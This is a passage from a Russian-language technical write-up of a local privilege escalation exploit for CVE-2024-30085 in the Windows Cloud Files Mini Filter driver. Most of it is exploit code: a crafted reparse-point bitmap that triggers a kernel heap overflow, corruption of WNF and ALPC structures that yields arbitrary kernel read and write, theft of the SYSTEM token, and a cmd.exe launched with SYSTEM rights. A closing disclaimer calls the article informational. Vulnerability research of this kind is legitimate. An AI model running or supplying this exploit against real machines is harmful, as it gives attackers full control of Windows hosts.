    bitmap->Items[0].Size = 0x1;
    bitmap->Items[0].Offset = (BYTE*)&bitmap->ItemBtmpData0 - (BYTE*)&bitmap->Tag;

    bitmap->Items[1].Code = 0x7;
    bitmap->Items[1].Size = 0x1;
    bitmap->Items[1].Offset = bitmap->Items[0].Offset + bitmap->Items[0].Size;

    bitmap->Items[2].Code = 0x7;
    bitmap->Items[2].Size = 0x1;
    bitmap->Items[2].Offset = bitmap->Items[1].Offset + bitmap->Items[1].Size;

    bitmap->Items[3].Code = 0x6;
    bitmap->Items[3].Size = 0x8;
    bitmap->Items[3].Offset = bitmap->Items[2].Offset + bitmap->Items[2].Size;

    bitmap->Items[4].Code = 0x11;
    bitmap->Items[4].Offset = bitmap->Items[3].Offset + bitmap->Items[3].Size;
    bitmap->Items[4].Size = sizeof(REPARSE_CLD_BITMAP) - bitmap->Items[4].Offset;

    bitmap->ItemBtmpData0 = 0x1; // <= 1
    bitmap->ItemBtmpData1 = 0x13; // <= 0x13
    bitmap->ItemBtmpData2 = 0x0; // = 0

    bitmap->ItemBtmpData3 = 0xdddddddddddddddd; // no matter

    bitmap->wnfData.header = 0x00100904;
    bitmap->wnfData.allocated_size = 0x2000;
    bitmap->wnfData.data_size = 0xff0 + 0x10; // 0xff0  - legit Wnf data size 0x10 - overflow
    bitmap->wnfData.change_stamp = 0x1;


    bitmap->Crc32 = RtlComputeCrc32(0, (BYTE*)(&bitmap->Size), sizeof(REPARSE_CLD_BITMAP) - 0x8);
}

DWORD ReparseDataBufferLength = 0x4000;
 PREPARSE_DATA_BUFFER pReparseDataBuffer = (PREPARSE_DATA_BUFFER)calloc(ReparseDataBufferLength, 1);
 memset(pReparseDataBuffer, 0x0, ReparseDataBufferLength);
 createReparsePoint(pReparseDataBuffer, ReparseDataBufferLength);

 PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
 PREPARSE_CLD_BITMAP bitmap0 = (PREPARSE_CLD_BITMAP)&pReparseCldBuffer->bitmap0;
 createBitmap(bitmap0);

 pReparseCldBuffer->Crc32 = RtlComputeCrc32(0, (BYTE*)(&pReparseCldBuffer->Size), ReparseDataBufferLength - 0x14);

Триггерим переполнение:

trigger(dir, (BYTE*)pReparseDataBuffer, ReparseDataBufferLength);
RemoveDirectoryW(dir);
std::this_thread::sleep_for(std::chrono::seconds(60));

Удаление папки dir необходимо, потому что в случае неудачи система рухнет и будет падать при последующих перезагрузках. А задержка нужна, чтобы дать время произойти переполнению.

Далее происходит поиск захваченного объекта _WNF_NAME_INSTANCE:

INT32 wnfCorruptedNameIndex = WnfFindCorruptedName(portsCount);

if (wnfCorruptedNameIndex == -1) {
    printf("[-] Corrupted Wnf are not found\n");
    return -1;
}

printf("[+] Found corrupted Wnf at index %d\n", wnfCorruptedNameIndex);

После чего подменяем нулевой хэндл в таблице _ALPC_HANDLE_ENTRY:

BYTE* fakeReserve = AlpcGetFakeMessage();

UINT32 wnfOriginalDataSize = 0xff0;
std::vector<UINT8> corruptAlpc;
UINT32 corruptAlpcSize = wnfOriginalDataSize + 0x8; // overflow one handle ptr
corruptAlpc.reserve(corruptAlpcSize);

memset(corruptAlpc.data(), 'W', wnfOriginalDataSize);
*((BYTE**)(corruptAlpc.data() + wnfOriginalDataSize)) = fakeReserve;

// corrupt Alpc handle
if (!WnfRelativeWrite(wnfCorruptedNameIndex, corruptAlpc.data(), corruptAlpcSize)) {
    printf("[-] wnfRelativeWrite failed\n");
    return -1;
}

И применяем технику Token Stealing в финале:

// read system token
BYTE* outputData = (BYTE*)calloc(1, 0x1000);
AlpcArbitraryRead(portsCount, pipeAttributeAddr, systemEPROCaddr, outputData, 0x1000);

ULONG tokenOffset = 0x4b8;
ULONG_PTR systemTtoken = *(ULONG_PTR*)(outputData + tokenOffset);

if (!systemTtoken) {
    printf("[-] System TOKEN are not found\n");
    return -1;
}

printf("[+] System TOKEN: %p\n", systemTtoken);

ULONG_PTR targetToken = EPROCaddr + tokenOffset;
ULONG_PTR* payload = (ULONG_PTR*)calloc(1, 0x8);
payload[0] = systemTtoken;

// replace target token with system token
BOOL bRetNoMatter = AlpcArbitraryWrite(portsCount, (BYTE*)targetToken, (BYTE*)payload, 0x8); // returns false, but writting actually works

STARTUPINFO StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInformation = { 0 };

BOOL bRet = CreateProcess(
    "C:\\Windows\\System32\\cmd.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &StartupInfo,
    &ProcessInformation
);
if (!bRet) {
    printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
    return -1;
}

Слить адреса токенов можно через метод NtQuerySystemInformation. Пример есть у Нассима. А результат успешной работы эксплойта выглядит так.

Рисунок 18. Демонстрация работы

Результат

В результате, используя уязвимость CVE-2024-30085 в драйвере Windows Cloud Files Mini Filter и связку WNF + ALPC, мы создали примитивы на чтение и запись в ядерную память. Благодаря чему, украли системный токен и запустили терминал с правами NT AUTHORITY\SYSTEM.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в интернете. Авторы не несут ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.